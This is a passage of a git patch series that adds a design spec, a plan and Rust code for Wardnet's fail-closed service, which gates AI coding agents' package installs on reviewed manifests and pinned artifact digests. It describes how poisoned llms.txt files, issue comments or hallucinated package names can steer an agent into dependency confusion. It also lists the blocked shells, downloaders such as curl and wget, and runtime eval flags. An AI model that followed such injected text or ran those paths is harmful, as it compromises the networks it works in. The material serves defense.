From 6ffea8b799ef6150515ba612ab66b56bbf71693e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 27 Aug 2026 21:14:47 -0700 Subject: [PATCH 001/247] test(security): define agent artifact admission boundary --- .../2026-08-28-agent-artifact-admission.md | 390 ++++++++++++++++++ ...6-08-28-agent-artifact-admission-design.md | 251 +++++++++++ tests/agent_artifact_admission_red.rs | 25 ++ 3 files changed, 666 insertions(+) create mode 100644 docs/superpowers/plans/2026-08-28-agent-artifact-admission.md create mode 100644 docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md create mode 100644 tests/agent_artifact_admission_red.rs diff --git a/docs/superpowers/plans/2026-08-28-agent-artifact-admission.md b/docs/superpowers/plans/2026-08-28-agent-artifact-admission.md new file mode 100644 index 00000000..c58fd784 --- /dev/null +++ b/docs/superpowers/plans/2026-08-28-agent-artifact-admission.md @@ -0,0 +1,390 @@ +# Agent Artifact Admission Controller Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Add an independently deployable Rust admission service that blocks AI-agent package installation unless a reviewed manifest and exact content-addressed artifact policy authorize it. + +**Architecture:** A new workspace crate owns strict models, pure deterministic policy evaluation, append-only audit sinks, configuration/credential loading, and a small authenticated Axum API. It never executes commands; callers receive a durable allow/block receipt and must fail closed when the service is unavailable. + +**Tech Stack:** Rust 2024, Axum 0.8, Tokio 1, Serde/serde_json 1, `ring` SHA-256, `subtle` constant-time comparison, `reqwest::Url`, Tower integration tests, proptest. + +**Spec:** `docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md` + +## Global Constraints + +- Base all work directly on protected `main`; do not stack on unrelated Wardnet PRs. +- Production code is Rust only. +- Runtime credentials come from the credential JSON file; no runtime secret lookup from environment variables. +- The process binds only to an IP loopback address in v0.1. +- Requests contain structured `argv`; no shell command string API exists. +- Empty policy, absent evidence, malformed evidence, and audit failure all block. +- Unknown JSON fields are rejected. +- Public APIs require doc comments. +- Production statement coverage, branch coverage, and public API documentation coverage target 100%. +- No raw token or raw command may appear in responses, logs, or audit records. +- Existing Wardnet gateway behavior must remain unchanged. + +--- + +### Task 1: Lock the threat contract with a failing test + +**Files:** +- Create: `tests/agent_artifact_admission_red.rs` +- Create: `docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md` +- Create: `docs/superpowers/plans/2026-08-28-agent-artifact-admission.md` + +**Interfaces:** +- Consumes: none +- Produces: the required public API names used by the implementation tasks + +- [ ] **Step 1: Write the failing attack regression** + +```rust +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, InstallIntent, admission_decision, +}; + +#[test] +fn unowned_package_from_llms_txt_is_blocked() { + let policy = AdmissionPolicy::deny_all_for_test(); + let intent = InstallIntent::unowned_llms_package_for_test(); + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision.as_str(), "block"); +} +``` + +- [ ] **Step 2: Push the test and verify RED on GitHub Actions** + +Expected: the Rust job fails because `wardnet_agent_artifact_admission` does not yet exist. This establishes that the test detects the missing boundary rather than passing against existing behavior. + +- [ ] **Step 3: Commit** + +```bash +git add tests/agent_artifact_admission_red.rs docs/superpowers + +git commit -m "test(security): define agent artifact admission boundary" +``` + +### Task 2: Create strict domain models and SHA-256 helpers + +**Files:** +- Modify: `Cargo.toml` +- Modify: `Cargo.lock` +- Create: `crates/agent-artifact-admission/Cargo.toml` +- Create: `crates/agent-artifact-admission/src/lib.rs` +- Create: `crates/agent-artifact-admission/src/model.rs` +- Test: `crates/agent-artifact-admission/tests/admission_contract.rs` +- Delete: `tests/agent_artifact_admission_red.rs` + +**Interfaces:** +- Consumes: design request/policy schema +- Produces: `InstallIntent`, `AdmissionPolicy`, `ApprovedManifest`, `ApprovedArtifact`, `AdmissionDecision`, `DecisionKind`, `ReasonCode`, `sha256_hex`, `is_sha256_hex` + +- [ ] **Step 1: Move the RED regression into the new crate and add strict-deserialization tests** + +Cover unknown fields, empty IDs, invalid lowercase SHA-256, duplicate artifact arguments, and serialization of snake-case enums. + +- [ ] **Step 2: Run the focused tests and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test admission_contract +``` + +Expected: unresolved model functions/types. + +- [ ] **Step 3: Implement the model types** + +Use `#[serde(deny_unknown_fields)]` on all input/config structs and `#[serde(rename_all = "snake_case")]` on enums. Bound all identifiers, arguments, artifact fields, and counts during validation rather than accepting unbounded strings. + +- [ ] **Step 4: Implement SHA-256 through `ring::digest`** + +```rust +pub fn sha256_hex(input: &[u8]) -> String { + let digest = ring::digest::digest(&ring::digest::SHA256, input); + digest.as_ref().iter().map(|byte| format!("{byte:02x}")).collect() +} +``` + +Add NIST-known vector assertions for empty input and `abc`. + +- [ ] **Step 5: Run focused tests and verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test admission_contract model_ +``` + +- [ ] **Step 6: Commit** + +```bash +git add Cargo.toml Cargo.lock crates/agent-artifact-admission tests/agent_artifact_admission_red.rs + +git commit -m "feat(security): add artifact admission domain model" +``` + +### Task 3: Implement pure fail-closed policy evaluation + +**Files:** +- Create: `crates/agent-artifact-admission/src/policy.rs` +- Modify: `crates/agent-artifact-admission/src/lib.rs` +- Modify: `crates/agent-artifact-admission/tests/admission_contract.rs` + +**Interfaces:** +- Consumes: `AdmissionPolicy`, `InstallIntent` +- Produces: `pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision` + +- [ ] **Step 1: Add failing tests for source provenance** + +Test remote `llms_txt`, `llms_full_txt`, `web_page`, and `issue_comment` sources with missing URI, HTTP URI, user-info URI, missing digest, query, and fragment. Query/fragment must be removed from the normalized response URI. + +- [ ] **Step 2: Add failing tests for forbidden command paths** + +Test shells, downloaders, `npx`/`pnpx`/`bunx`, runtime `-c`/`-e`, alternate Python trust roots, non-allowlisted executable, empty/missing artifact arguments, and duplicate artifacts. + +- [ ] **Step 3: Add failing tests for exact policy matching** + +Test manifest, ecosystem, name, version, registry, owner, digest, and artifact-argument mismatch independently. Test moving versions (`latest`, `main`, wildcard, range) and empty deny-all policy. + +- [ ] **Step 4: Add failing tests for package-manager safety flags** + +Require `--ignore-scripts`, `--require-hashes`, `--locked`, and container `@sha256:` according to executable/subcommand. + +- [ ] **Step 5: Run all policy tests and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test admission_contract +``` + +- [ ] **Step 6: Implement deterministic validation and reason ordering** + +The evaluator accumulates stable `ReasonCode` values without including untrusted text. It returns `allow` only when the reason list is empty. Exact artifact matching uses normalized HTTPS registry URLs and all identity fields. + +- [ ] **Step 7: Add a proptest invariant** + +For arbitrary `argv`, source strings, and package fields, assert that the evaluator never panics. Assert that an empty policy never allows. + +- [ ] **Step 8: Run focused and property tests; verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test admission_contract +``` + +- [ ] **Step 9: Commit** + +```bash +git add crates/agent-artifact-admission/src crates/agent-artifact-admission/tests + +git commit -m "feat(security): enforce exact package admission policy" +``` + +### Task 4: Add append-only audit with audit-before-allow semantics + +**Files:** +- Create: `crates/agent-artifact-admission/src/audit.rs` +- Modify: `crates/agent-artifact-admission/src/lib.rs` +- Create: `crates/agent-artifact-admission/tests/audit_contract.rs` + +**Interfaces:** +- Consumes: `InstallIntent`, `AdmissionDecision` +- Produces: `AuditRecord`, `AuditArtifact`, `AuditSink`, `FileAuditSink`, `MemoryAuditSink`, `build_audit_record` + +- [ ] **Step 1: Write failing audit minimization tests** + +Assert records contain command SHA-256 and normalized source URI, but not raw argv, query, fragment, or token-shaped test values. Assert artifact coordinates and policy identity are preserved. + +- [ ] **Step 2: Write failing file durability tests** + +Append two records and verify two complete NDJSON lines. Force an oversized serialized record and deterministic sink failure; both must return an error. + +- [ ] **Step 3: Run and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test audit_contract +``` + +- [ ] **Step 4: Implement sinks** + +`FileAuditSink` serializes writers with `std::sync::Mutex`, opens with append/create, writes one bounded line, flushes, and calls `sync_data`. `MemoryAuditSink` stores records for embedding/tests. Neither sink logs paths or payloads in errors returned to clients. + +- [ ] **Step 5: Run and verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test audit_contract +``` + +- [ ] **Step 6: Commit** + +```bash +git add crates/agent-artifact-admission/src/audit.rs crates/agent-artifact-admission/tests/audit_contract.rs + +git commit -m "feat(security): persist minimized admission audit evidence" +``` + +### Task 5: Add configuration, credentials, and strict CLI + +**Files:** +- Create: `crates/agent-artifact-admission/src/config.rs` +- Modify: `crates/agent-artifact-admission/src/lib.rs` +- Create: `crates/agent-artifact-admission/tests/cli_contract.rs` +- Create: `deploy/agent-artifact-admission.example.json` +- Create: `deploy/agent-artifact-admission.credentials.schema.json` + +**Interfaces:** +- Produces: `AdmissionServiceConfig`, `CredentialFile`, `CliArgs`, `parse_cli_args`, `load_config`, `load_admin_token`, `validate_service_config` + +- [ ] **Step 1: Add failing config tests** + +Reject unsupported version, non-loopback bind, zero/oversized body limit, missing audit path, duplicate policy entries, forbidden allowlisted executable, malformed artifact/manifest identity, and empty/short/oversized credential. + +- [ ] **Step 2: Add failing CLI tests** + +Require exactly one `--config PATH` and one `--credentials PATH`; reject duplicates, missing values, positional arguments, and unknown flags. + +- [ ] **Step 3: Run and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test cli_contract +``` + +- [ ] **Step 4: Implement loading and validation** + +Read bounded UTF-8 JSON, reject unknown fields, and return stable non-secret errors. The committed config contains an empty policy and therefore denies all operations. + +- [ ] **Step 5: Run and verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test cli_contract +``` + +- [ ] **Step 6: Commit** + +```bash +git add crates/agent-artifact-admission/src/config.rs crates/agent-artifact-admission/tests/cli_contract.rs deploy + +git commit -m "feat(security): load reviewed admission policy and credentials" +``` + +### Task 6: Add authenticated HTTP admission API + +**Files:** +- Create: `crates/agent-artifact-admission/src/http.rs` +- Create: `crates/agent-artifact-admission/src/main.rs` +- Modify: `crates/agent-artifact-admission/src/lib.rs` +- Create: `crates/agent-artifact-admission/tests/http_contract.rs` + +**Interfaces:** +- Produces: `AdmissionState`, `build_app`, `run_service`, `run_cli`, routes `/healthz`, `/v1/policy`, `/v1/admissions` + +- [ ] **Step 1: Add failing authentication tests** + +Verify missing, duplicate, wrong, non-ASCII, empty, and oversized `X-Admin-Token` return 401. Verify the correct token succeeds. Include equal-length and different-length wrong tokens. + +- [ ] **Step 2: Add failing response-semantics tests** + +Verify policy block returns 200 and `decision=block`; candidate allow returns 200 only after the audit sink contains the record. Verify malformed authenticated JSON returns audited 400. + +- [ ] **Step 3: Add failing audit-outage tests** + +Inject a sink that always fails. Both candidate allow and candidate block must return 503 with a block decision and `audit_unavailable`; no caller may receive allow. + +- [ ] **Step 4: Run and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test http_contract +``` + +- [ ] **Step 5: Implement the router and fixed-size constant-time token comparison** + +Use Axum `DefaultBodyLimit`. Hash malformed bodies before building the minimized audit record. Move synchronous audit append to `tokio::task::spawn_blocking`. + +- [ ] **Step 6: Implement thin process entrypoint** + +Parse CLI, load/validate policy and credential files, construct `FileAuditSink`, bind the validated loopback socket, and serve with graceful Ctrl-C/SIGTERM shutdown. + +- [ ] **Step 7: Run and verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test http_contract +cargo test -p wardnet-agent-artifact-admission --test cli_contract +``` + +- [ ] **Step 8: Commit** + +```bash +git add crates/agent-artifact-admission/src crates/agent-artifact-admission/tests + +git commit -m "feat(security): expose authenticated artifact admission API" +``` + +### Task 7: Publish contracts, threat model, and research traceability + +**Files:** +- Create: `docs/api/agent-artifact-admission.openapi.yaml` +- Create: `docs/adr/0012-agent-artifact-admission.md` +- Create: `docs/security/agent-artifact-admission.md` +- Create: `docs/doctoring/agent-artifact-admission.md` +- Create: `docs/product-technical-gap-baseline.md` + +**Interfaces:** +- Consumes: final service behavior +- Produces: buyer/operator contract and traceability + +- [ ] **Step 1: Write OpenAPI 3.1 contract** + +Define strict request/response schemas, stable reason codes, authentication, body limit, and 200/400/401/413/503 semantics. + +- [ ] **Step 2: Write accepted ADR** + +Record why this is a separate Wardnet process, why source text is non-authoritative, why policy is immutable/file-backed in v0.1, and why policy blocks use HTTP 200. + +- [ ] **Step 3: Write threat model and operations runbook** + +Cover dependency confusion, package hallucination, prompt injection, source poisoning, registry substitution, install scripts, audit outage, bypass, replay, and direct service exposure. Provide integration sequence and incident response. + +- [ ] **Step 4: Write APA 7 research/standards note** + +Trace decisions to the METAL LAB incident report, OWASP Secure Coding with AI/MCP/Agentic guidance, NIST SSDF, SLSA, TUF, CWE-829, and CWE-494. Do not commit copyrighted papers without redistribution permission. + +- [ ] **Step 5: Update product/technical gap baseline** + +Record the feature as implemented on the PR head and retain explicit gaps: execution-broker integration, signed policy distribution, transitive graph/SBOM verification, sandbox receipts, durable PostgreSQL outbox, and SIEM projection. + +- [ ] **Step 6: Commit** + +```bash +git add docs + +git commit -m "docs(security): define agent artifact admission operating model" +``` + +### Task 8: Exact-head verification and PR readiness + +**Files:** +- Modify as required by verified findings only + +- [ ] **Step 1: Run repository gates** + +```bash +cargo fmt --check +cargo test --locked --workspace +cargo clippy --locked --workspace --all-targets -- -D warnings +``` + +- [ ] **Step 2: Run coverage** + +```bash +cargo llvm-cov --locked -p wardnet-agent-artifact-admission --all-targets --branch --fail-under-lines 100 --fail-under-branches 100 +``` + +If stable Rust cannot instrument branches, use the repository's date-pinned nightly coverage lane; do not suppress or rewrite failed tests. + +- [ ] **Step 3: Inspect security and review evidence** + +Read all exact-head CI, Security Scan, Semgrep, CodeQL, fuzz/property, and automated review outputs. Reproduce each actionable finding, fix the root cause, rerun, and resolve only after the exact head contains the fix. + +- [ ] **Step 4: Remove all one-shot workflow/bootstrap artifacts** + +A temporary lockfile-update workflow may exist only long enough to produce the reviewed `Cargo.lock`; delete it in the same development loop and confirm the final diff contains no self-modifying workflow. + +- [ ] **Step 5: Mark ready and enable auto-merge only when truthful** + +Required conditions: exact-head checks successful, zero unresolved actionable threads, branch current with `main`, and the live independent approval rule satisfied. Never admin-bypass or self-approve. diff --git a/docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md b/docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md new file mode 100644 index 00000000..e7b58c54 --- /dev/null +++ b/docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md @@ -0,0 +1,251 @@ +# Agent Artifact Admission Controller Design + +- Status: Proposed for implementation +- Date: 2026-08-28 +- Issue: #128 +- Owning repository: `ContextualWisdomLab/wardnet` + +## Problem + +AI coding agents can read `llms.txt`, `llms-full.txt`, README fragments, issue comments, retrieved pages, or tool output and translate text into package installation or code execution. The source document is not an authority for package ownership, registry identity, artifact integrity, or execution permission. A newly registered package name or domain can therefore turn a model hallucination or poisoned document into dependency confusion inside a trusted network. + +Wardnet currently protects HTTP traffic, ingests threat evidence, and provides an AI SOC control plane, but it does not expose a pre-execution admission boundary for coding-agent package operations. A WAF signature alone cannot solve this: the decision must bind the proposed command to a reviewed dependency manifest and immutable artifact identity before the package manager or downloader runs. + +## Goal + +Add an independently deployable Rust service, `wardnet-agent-artifact-admission`, that answers one question: + +> May this actor execute this exact structured package-install command, from this exact instruction source, against this reviewed manifest and these exact content-addressed artifacts? + +The service never executes commands. It emits a deterministic allow/block decision and a durable audit record. An execution broker, CI runner, OpenCode/Codex/Claude/Hermes wrapper, or MCP tool must require an `allow` decision before invoking a package manager. + +## Security invariants + +1. Web pages, `llms.txt`, tool output, issue comments, and model text are untrusted data. +2. Source text cannot create package ownership, artifact trust, or execution capability. +3. Requests contain an argument vector (`argv`), never a shell command string. +4. An empty policy allows nothing. +5. The executable must be explicitly allowlisted and must not be a forbidden shell, downloader, package executor, or runtime-eval path. +6. Every direct artifact must match policy by ecosystem, exact name, exact version, normalized HTTPS registry URL, owner, and SHA-256 digest. +7. Every artifact must identify the exact argument token that represents it; that token must appear exactly once in `argv`. +8. The workspace dependency-manifest SHA-256 must match a reviewed policy entry. +9. Remote instruction sources require an HTTPS URI without user information and a SHA-256 content digest. +10. Package-manager hardening flags are mandatory: npm-family installs ignore lifecycle scripts, Python installs require hashes, Cargo installs use the lockfile, and container pulls use an image digest. +11. Policy and credentials are immutable for the process lifetime; changes require a reviewed configuration update and restart. +12. An allow response is returned only after the audit record has been appended and synchronized. Audit failure becomes a block with HTTP 503. +13. Audit data contains no admin token and no raw command text. +14. v0.1 binds only to a loopback address. Remote exposure is delegated to an authenticated TLS or mTLS proxy. + +## Architecture + +```text +AI coding agent / execution broker + | + | structured install intent + v ++-----------------------------------------------+ +| Wardnet Agent Artifact Admission Controller | +| | +| authentication -> structural validation | +| -> source provenance -> command restrictions | +| -> manifest admission -> artifact admission | +| -> append-only audit -> allow/block response | ++-----------------------------------------------+ + | + | allow receipt only + v +sandboxed package-manager executor +``` + +The controller is a separate workspace crate rather than a route in the existing large Wardnet gateway module. This keeps the executable independently deployable, limits privileges, and avoids giving the main gateway a command-execution responsibility. + +## Files and components + +```text +crates/agent-artifact-admission/ +├── Cargo.toml +├── src/ +│ ├── lib.rs public API and re-exports +│ ├── model.rs strict request, policy, response, and audit types +│ ├── policy.rs pure validation and deterministic admission decision +│ ├── audit.rs append-only NDJSON audit sinks +│ ├── config.rs config, credential, and strict CLI loading +│ ├── http.rs Axum routes, authentication, and audit-before-allow +│ └── main.rs thin process entrypoint +└── tests/ + ├── admission_contract.rs + ├── http_contract.rs + └── cli_contract.rs +``` + +## Request contract + +`POST /v1/admissions` receives JSON with unknown fields rejected: + +```json +{ + "request_id": "req-20260828-0001", + "actor_id": "agent:codex:workspace-17", + "workspace_id": "ContextualWisdomLab/wardnet", + "operation": "install", + "argv": ["npm", "install", "@cwl/example@1.2.3", "--ignore-scripts"], + "manifest_sha256": "64-lowercase-hex", + "source": { + "kind": "llms_txt", + "uri": "https://example.invalid/llms.txt", + "content_sha256": "64-lowercase-hex" + }, + "artifacts": [ + { + "ecosystem": "npm", + "name": "@cwl/example", + "version": "1.2.3", + "registry_url": "https://registry.npmjs.org", + "owner": "ContextualWisdomLab", + "sha256": "64-lowercase-hex", + "artifact_argument": "@cwl/example@1.2.3" + } + ] +} +``` + +The response is HTTP 200 for both policy allow and policy block: + +```json +{ + "request_id": "req-20260828-0001", + "decision": "block", + "reason_codes": ["artifact_not_approved"], + "policy_id": "enterprise-default", + "policy_revision": "2026-08-28.1", + "normalized_source_uri": "https://example.invalid/llms.txt", + "command_sha256": "64-lowercase-hex", + "artifact_count": 1 +} +``` + +HTTP status communicates transport/auth/service state only: + +- `200`: a durable allow/block decision exists +- `400`: malformed or structurally invalid request, durably audited when authentication succeeded +- `401`: missing, duplicate, malformed, or incorrect admin token +- `413`: body limit exceeded +- `503`: audit durability unavailable; execution must not proceed + +## Policy contract + +The service configuration contains: + +- `configuration_version = "1"` +- loopback `bind_address` +- bounded `max_request_body_bytes` +- mandatory `audit_log_path` +- immutable `policy` + +The policy contains: + +- stable `policy_id` and `policy_revision` +- explicit `allowed_executables` +- reviewed workspace manifest digests +- exact approved artifact identities + +Policy validation rejects duplicates, malformed digests, insecure registry URLs, unbounded strings, forbidden executables, wildcard or moving versions (`latest`, `main`, ranges), and entries without review provenance. + +## Command restrictions + +The following executables are always blocked even if named by policy: + +- shells and command interpreters (`sh`, `bash`, `zsh`, `cmd`, `powershell`, `pwsh`) +- direct download clients (`curl`, `wget`, `aria2c`, `ftp`, `scp`) +- package executors (`npx`, `pnpx`, `bunx`) + +Language runtimes are blocked when command arguments request inline evaluation (`-c`, `-e`, `--eval`, or `--execute`). Package-manager options that create an alternate trust root, such as `--extra-index-url` and `--trusted-host`, are blocked. + +Safe-flag requirements are deterministic: + +- `npm`, `pnpm`, `yarn`, `bun`: `--ignore-scripts` +- `pip`, `pip3`, and `uv pip`: `--require-hashes` +- `cargo install`: `--locked` +- `docker pull` and `podman pull`: argument includes `@sha256:` + +## Authentication + +Both `/v1/policy` and `/v1/admissions` require exactly one `X-Admin-Token`. `/healthz` is unauthenticated and exposes only status, policy identity, and counts. The token is read from a credentials JSON file supplied with `--credentials`; runtime environment variables are not a credential source. Comparison uses a fixed-size constant-time buffer and constant-time length equality. + +## Audit contract + +Each authenticated admission attempt produces one NDJSON record containing: + +- timestamp +- request, actor, and workspace IDs +- operation +- decision and reason codes +- policy identity +- normalized source kind and URI +- source content digest +- command digest, not raw `argv` +- reviewed manifest digest +- artifact coordinates and digests + +The file sink serializes writers, appends one bounded JSON line, flushes, and synchronizes data before success. A memory sink is provided for embedding/tests. Audit serialization or I/O errors fail closed. + +## Error handling + +- Validation returns stable machine-readable reason codes in deterministic order. +- Multiple defects may be returned together so an operator can remediate one request without repeated trial-and-error. +- Error messages never contain the admin token, raw command, query string, URL fragment, or unbounded upstream text. +- Malformed authenticated JSON is identified by a body SHA-256-derived request surrogate and audited without storing the body. + +## Verification + +Tests must cover: + +- the reported attack shape: unowned package from `llms.txt` is blocked +- exact approved artifact and reviewed manifest is allowed +- registry, owner, version, digest, manifest, or argument mismatch blocks +- moving/unpinned versions block +- remote source without HTTPS or source digest blocks +- source query/fragment removed from audit/response +- shell/downloader/package-executor/runtime-eval commands block +- missing package-manager safety flags block +- duplicate artifacts, arguments, and policy entries block +- missing/duplicate/wrong/non-ASCII/oversized tokens return 401 +- no token or raw command appears in audit output +- malformed authenticated JSON is audited and returns 400 +- audit failure converts any candidate decision to HTTP 503/block +- loopback-only configuration and strict CLI parsing +- property tests for arbitrary input never panic and never allow without a complete exact policy match +- SHA-256 NIST-known vectors + +Merge requires exact-head formatting, locked workspace tests, strict Clippy, central security checks, current-head review, zero unresolved actionable threads, and the live independent-approval rule. + +## Deployment + +The process starts with: + +```text +wardnet-agent-artifact-admission \ + --config /etc/wardnet/agent-artifact-admission.json \ + --credentials /run/secrets/wardnet-agent-artifact-admission.json +``` + +The committed example policy has no approved manifests or artifacts and therefore blocks every install. Operators create policy entries through code review or a separate policy delivery system; there is no mutation API in v0.1. + +## Non-goals + +- executing package managers or shell commands +- inferring package ownership from website content +- automatically repairing hallucinated package names +- dynamically registering or probing package names +- replacing package registry verification, TUF, Sigstore, SLSA provenance, or sandboxing +- allowing model output to mutate policy +- exposing the service directly to a non-loopback network + +## Follow-up boundaries + +- integrate the admission call into central OpenCode/Codex/Claude/Hermes execution brokers +- accept signed policy bundles through TUF/Sigstore instead of local files +- emit OCSF/OTLP through Wardnet's SIEM export path +- add a durable PostgreSQL/outbox audit backend +- add sandbox execution receipts and post-install filesystem/network attestation +- add transitive dependency graph verification and SBOM comparison diff --git a/tests/agent_artifact_admission_red.rs b/tests/agent_artifact_admission_red.rs new file mode 100644 index 00000000..8606912b --- /dev/null +++ b/tests/agent_artifact_admission_red.rs @@ -0,0 +1,25 @@ +//! RED contract for issue #128. +//! +//! This test intentionally lands before the new crate. The first PR head must +//! fail because Wardnet has no agent artifact admission boundary yet. The next +//! implementation commit moves this regression into the owning crate. + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, InstallIntent, admission_decision, +}; + +#[test] +fn unowned_package_from_llms_txt_is_blocked() { + let policy = AdmissionPolicy::deny_all_for_test(); + let intent = InstallIntent::unowned_llms_package_for_test(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision.as_str(), "block"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); +} From 77c13091e788a1e669f2afc4a71c9e704d96fab6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 27 Aug 2026 21:16:21 -0700 Subject: [PATCH 002/247] test(security): format red admission contract --- tests/agent_artifact_admission_red.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/tests/agent_artifact_admission_red.rs b/tests/agent_artifact_admission_red.rs index 8606912b..c41787c3 100644 --- a/tests/agent_artifact_admission_red.rs +++ b/tests/agent_artifact_admission_red.rs @@ -4,9 +4,7 @@ //! fail because Wardnet has no agent artifact admission boundary yet. The next //! implementation commit moves this regression into the owning crate. -use wardnet_agent_artifact_admission::{ - AdmissionPolicy, InstallIntent, admission_decision, -}; +use wardnet_agent_artifact_admission::{AdmissionPolicy, InstallIntent, admission_decision}; #[test] fn unowned_package_from_llms_txt_is_blocked() { From 1a5d2c77a82b11b0ae2f4d2582c07c2c69bb3b3d Mon Sep 17 00:00:00 2001 From: OpenAI Codex Date: Fri, 28 Aug 2026 13:30:33 +0900 Subject: [PATCH 003/247] feat(security): add agent artifact admission crate --- Cargo.lock | 10 + Cargo.toml | 3 +- crates/agent-artifact-admission/Cargo.toml | 13 + crates/agent-artifact-admission/src/lib.rs | 10 + crates/agent-artifact-admission/src/model.rs | 238 ++++++++++++++++++ crates/agent-artifact-admission/src/policy.rs | 96 +++++++ .../tests/admission_contract.rs | 119 +++++++++ 7 files changed, 488 insertions(+), 1 deletion(-) create mode 100644 crates/agent-artifact-admission/Cargo.toml create mode 100644 crates/agent-artifact-admission/src/lib.rs create mode 100644 crates/agent-artifact-admission/src/model.rs create mode 100644 crates/agent-artifact-admission/src/policy.rs create mode 100644 crates/agent-artifact-admission/tests/admission_contract.rs diff --git a/Cargo.lock b/Cargo.lock index c696190f..153312b3 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1347,6 +1347,7 @@ dependencies = [ "tokio", "tower", "waf-ids-core", + "wardnet-agent-artifact-admission", ] [[package]] @@ -1377,6 +1378,15 @@ dependencies = [ "try-lock", ] +[[package]] +name = "wardnet-agent-artifact-admission" +version = "0.1.0" +dependencies = [ + "ring", + "serde", + "serde_json", +] + [[package]] name = "wasi" version = "0.11.1+wasi-snapshot-preview1" diff --git a/Cargo.toml b/Cargo.toml index b2ec231f..40415656 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -6,7 +6,7 @@ description = "Rust-first WAF/IDS/AI SOC gateway with DNSBL and commercial readi license = "MIT" [workspace] -members = [".", "crates/waf-ids-core"] +members = [".", "crates/waf-ids-core", "crates/agent-artifact-admission"] resolver = "3" [dependencies] @@ -23,3 +23,4 @@ tower = { version = "0.5", features = ["util"] } # Property-based testing (MIT OR Apache-2.0); mirrors the cargo-fuzz target for # parse_admin_tokens so its invariants stay green in primary CI. proptest = "1" +wardnet-agent-artifact-admission = { path = "crates/agent-artifact-admission" } diff --git a/crates/agent-artifact-admission/Cargo.toml b/crates/agent-artifact-admission/Cargo.toml new file mode 100644 index 00000000..9ed7e5c2 --- /dev/null +++ b/crates/agent-artifact-admission/Cargo.toml @@ -0,0 +1,13 @@ +[package] +name = "wardnet-agent-artifact-admission" +version = "0.1.0" +edition = "2024" +description = "Fail-closed package-install admission policy for AI coding agents" +license = "MIT" + +[dependencies] +ring = "0.17" +serde = { version = "1", features = ["derive"] } + +[dev-dependencies] +serde_json = "1" diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs new file mode 100644 index 00000000..68aaa492 --- /dev/null +++ b/crates/agent-artifact-admission/src/lib.rs @@ -0,0 +1,10 @@ +//! Fail-closed package-install admission primitives for AI coding agents. + +mod model; +mod policy; + +pub use model::{ + AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, + DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, +}; +pub use policy::{admission_decision, is_sha256_hex, sha256_hex}; diff --git a/crates/agent-artifact-admission/src/model.rs b/crates/agent-artifact-admission/src/model.rs new file mode 100644 index 00000000..cf90dace --- /dev/null +++ b/crates/agent-artifact-admission/src/model.rs @@ -0,0 +1,238 @@ +use serde::{Deserialize, Serialize}; + +/// Immutable admission policy loaded through reviewed configuration. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)] +#[serde(deny_unknown_fields)] +pub struct AdmissionPolicy { + /// Stable policy identifier surfaced in responses and audit records. + pub policy_id: String, + /// Immutable policy revision identifier. + pub policy_revision: String, + /// Executables that may be considered for admission. + #[serde(default)] + pub allowed_executables: Vec, + /// Reviewed workspace manifest digests. + #[serde(default)] + pub approved_manifests: Vec, + /// Exact approved install artifacts. + #[serde(default)] + pub approved_artifacts: Vec, +} + +impl AdmissionPolicy { + /// Test helper that proves the evaluator blocks when nothing is approved. + pub fn deny_all_for_test() -> Self { + Self { + policy_id: "deny-all".to_string(), + policy_revision: "test".to_string(), + allowed_executables: Vec::new(), + approved_manifests: Vec::new(), + approved_artifacts: Vec::new(), + } + } +} + +/// Reviewed manifest identity allowed by policy. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct ApprovedManifest { + /// Workspace identifier the reviewed manifest belongs to. + pub workspace_id: String, + /// Exact SHA-256 digest of the reviewed manifest. + pub sha256: String, +} + +/// Exact package artifact allowed by policy. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct ApprovedArtifact { + /// Package ecosystem, such as `npm` or `cargo`. + pub ecosystem: String, + /// Exact package name. + pub name: String, + /// Exact package version. + pub version: String, + /// Normalized registry URL. + pub registry_url: String, + /// Reviewed package owner or publisher label. + pub owner: String, + /// Exact artifact SHA-256 digest. + pub sha256: String, + /// Exact argv token that names the artifact to install. + pub artifact_argument: String, +} + +/// One requested artifact inside an install intent. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct ArtifactCoordinate { + /// Package ecosystem, such as `npm` or `cargo`. + pub ecosystem: String, + /// Exact package name. + pub 